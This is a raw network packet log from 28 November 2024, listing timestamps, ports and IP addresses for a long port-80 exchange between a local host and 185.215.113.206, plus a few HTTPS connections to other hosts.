Nov 28, 2024 06:48:31.457865953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.458622932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.458673954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.458720922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.458796024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.459604025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.459646940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.459671021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.459820986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.460582972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.460644007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.460674047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.460879087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.461558104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.461600065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.461610079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.461724997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.462542057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.462575912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.462622881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.463530064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.463644028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.463654041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.463685989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.464499950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.464564085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.464579105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.464600086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.465475082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.465542078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.465590000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.466483116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.466538906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.466586113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.466766119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.467432976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.467544079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.467593908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.468415022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.468537092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.468559980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.468614101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.469394922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.469439983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.469495058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.469535112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.470374107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.470422983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.470472097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.470580101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.471352100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.471396923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.471420050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.471447945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.472322941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.472363949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.472444057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.472521067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.473371983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.473427057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.473474979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.473519087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.522073030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.522130013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.522173882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.522222042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.522552967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.522655010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.522686958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.522705078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.523555040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.523654938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.523703098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.524513960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.524575949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.524631977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.524682045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.525525093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.525580883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.525594950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.525826931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.526480913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.526540995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.526593924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.526676893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.527472019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.527522087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.527566910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.527610064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.528451920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.528489113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.528556108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.528599977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.529433012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.529481888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.529545069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.529676914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.530416012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.530484915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.530534983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.530575991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.531368971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.531474113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.531483889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.531867981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.532342911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.532401085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.532445908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.532485962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.533334970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.533412933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.533427954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.533468962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.534321070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.534378052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.534430981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.534471035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.535290956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.535365105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.535415888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.535473108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.536279917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.536370993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.536413908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.536427021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.537250042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.537308931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.537384033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.537420988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.538230896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.538285971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.538328886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.538541079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.539202929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.539252996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.539300919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.539346933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.539949894 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.539954901 CET	443	49803	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.540155888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.540307045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.570528030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.570543051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.570585966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.570609093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.570972919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.571089029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.571124077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.571152925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.571938038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.571949959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.571990967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.572942019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.572999954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.573074102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.573198080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.592293024 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.593055010 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.593080997 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.593744993 CET	49806	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.593751907 CET	443	49806	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.646100998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.646164894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.646205902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.646248102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.646598101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.646692038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.646749973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.646900892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.647609949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.647701979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.647706985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.647814035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.648550034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.648596048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.648655891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.648710966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.649512053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.649636984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.649696112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.650509119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.650557041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.650609016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.650721073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.651494980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.651565075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.651597977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.651659966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.652455091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.652565002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.652726889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.653440952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.653486967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.653534889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.653575897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.654433966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.654481888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.654550076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.654619932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.655402899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.655483007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.655518055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.655601025 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.655622959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.656361103 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.656375885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.656380892 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.656430006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.656491041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.656656027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.657310009 CET	49805	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.657314062 CET	443	49805	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.657423973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.657438040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.657480001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.658344984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.658436060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.658446074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.658519983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.659317970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.659364939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.659411907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.659504890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.660306931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.660347939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.660434008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.660485983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.661309958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.661322117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.661366940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.661391973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.661406994 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.661997080 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.662014008 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.662249088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.662302971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.662353039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.662384987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.662662983 CET	49804	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.662669897 CET	443	49804	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.663258076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.663348913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.663371086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.663424015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.664206982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.664309978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.664462090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.665199041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.665245056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.665312052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.665541887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.666145086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.666275978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.666289091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.666310072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.667145014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.667201042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.667253971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.667327881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.667460918 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:31.667524099 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:31.667579889 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.667826891 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.667840004 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:31.668132067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.668193102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.668237925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.668275118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.669104099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.669158936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.669208050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.669389963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.670083046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.670136929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.670171022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.670363903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.671082020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.671149015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.671174049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.671236038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.672045946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.672157049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.672224045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.673032045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.673099041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.673124075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.673372984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.674019098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.674092054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.674118042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.674145937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.674973965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.675101995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.675177097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.675863981 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.675972939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.676048994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.676107883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.676160097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.676515102 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.676528931 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.676949978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.677069902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.677110910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.677320004 CET	49807	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.677325010 CET	443	49807	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:31.677911997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.677972078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.700757027 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:31.700795889 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:31.700870991 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:31.701136112 CET	49811	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:31.701148033 CET	443	49811	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:31.723396063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.723453045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.723495007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.723541975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.723818064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.723900080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.723937988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.723978043 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.724684000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.724792004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.724814892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.724951982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.725559950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.725601912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.725655079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.725739956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.726402044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.726444960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.726511955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.726562977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.727288961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.727369070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.727435112 CET	49803	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:31.727499962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.727540970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:31.728161097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:31.728274107 CET	80	49750	185.215.113.206	192.168.2.5
